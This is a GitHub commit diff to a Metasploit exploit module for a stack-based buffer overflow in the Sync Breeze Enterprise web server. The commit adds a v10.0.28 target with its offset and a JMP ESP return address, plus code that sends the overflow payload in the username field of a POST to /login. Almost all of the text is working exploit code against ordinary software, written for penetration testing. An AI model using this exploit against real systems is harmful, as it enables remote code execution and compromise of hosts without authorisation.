Skip to content

Commit ef282ea

Browse files
committed
Sync Breeze HTTP Server v10.0.28 BOF
Added support for v10.0.28 to Sync Breeze BOF module
1 parent 436b72d commit ef282ea

File tree

1 file changed

+55
-24
lines changed

1 file changed

+55
-24
lines changed

modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 55 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,17 @@ def initialize(info = {})
1515
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
1616
'Description' => %q{
1717
This module exploits a stack-based buffer overflow vulnerability
18-
in the web interface of Sync Breeze Enterprise v9.4.28, caused by
19-
improper bounds checking of the request path in HTTP GET requests
18+
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
19+
improper bounds checking of the request in HTTP GET and POST requests
2020
sent to the built-in web server. This module has been tested
2121
successfully on Windows 7 SP1 x86.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
26-
'Daniel Teixeira'
26+
'Daniel Teixeira',
27+
'Andrew Smith', # MSF support for v10.0.28
28+
'Owais Mehtab' # Original v10.0.28 exploit
2729
],
2830
'DefaultOptions' =>
2931
{
@@ -42,6 +44,12 @@ def initialize(info = {})
4244
'Offset' => 2488,
4345
'Ret' => 0x10015fde # POP # POP # RET [libspp.dll]
4446
}
47+
],
48+
[ 'Sync Breeze Enterprise v10.0.28',
49+
{
50+
'Offset' => 780,
51+
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
52+
}
4553
]
4654
],
4755
'Privileged' => true,
@@ -59,7 +67,7 @@ def check
5967
version = res.body[/Sync Breeze Enterprise v[^<]*/]
6068
if version
6169
vprint_status("Version detected: #{version}")
62-
if version =~ /9\.4\.28/
70+
if version =~ /9\.4\.28/ or version =~ /10\.0\.28/
6371
return Exploit::CheckCode::Appears
6472
end
6573
return Exploit::CheckCode::Detected
@@ -74,29 +82,52 @@ def check
7482

7583
def exploit
7684

77-
eggoptions = {
78-
checksum: true,
79-
eggtag: rand_text_alpha(4, payload_badchars)
80-
}
85+
case target.name
8186

82-
hunter, egg = generate_egghunter(
83-
payload.encoded,
84-
payload_badchars,
85-
eggoptions
86-
)
87+
when 'Sync Breeze Enterprise v9.4.28'
88+
eggoptions = {
89+
checksum: true,
90+
eggtag: rand_text_alpha(4, payload_badchars)
91+
}
8792

88-
sploit = rand_text_alpha(target['Offset'])
89-
sploit << generate_seh_record(target.ret)
90-
sploit << hunter
91-
sploit << make_nops(10)
92-
sploit << egg
93-
sploit << rand_text_alpha(5500)
93+
hunter, egg = generate_egghunter(
94+
payload.encoded,
95+
payload_badchars,
96+
eggoptions
97+
)
9498

95-
print_status('Sending request...')
99+
sploit = rand_text_alpha(target['Offset'])
100+
sploit << generate_seh_record(target.ret)
101+
sploit << hunter
102+
sploit << make_nops(10)
103+
sploit << egg
104+
sploit << rand_text_alpha(5500)
96105

97-
send_request_cgi(
98-
'method' => 'GET',
99-
'uri' => sploit
100-
)
106+
print_status('Sending request...')
107+
108+
send_request_cgi(
109+
'method' => 'GET',
110+
'uri' => sploit
111+
)
112+
113+
when 'Sync Breeze Enterprise v10.0.28'
114+
uri = "/login"
115+
sploit = rand_text_alpha(target['Offset'])
116+
sploit << [target.ret].pack('V')
117+
sploit << rand_text(4)
118+
make_nops(10)
119+
sploit << payload.encoded
120+
121+
print_status('Sending request...')
122+
123+
send_request_cgi(
124+
'method' => 'POST',
125+
'uri' => uri,
126+
'vars_post' => {
127+
'username' => "#{sploit}",
128+
'password' => "rawr"
129+
}
130+
)
131+
end
101132
end
102133
end

0 commit comments

Comments
 (0)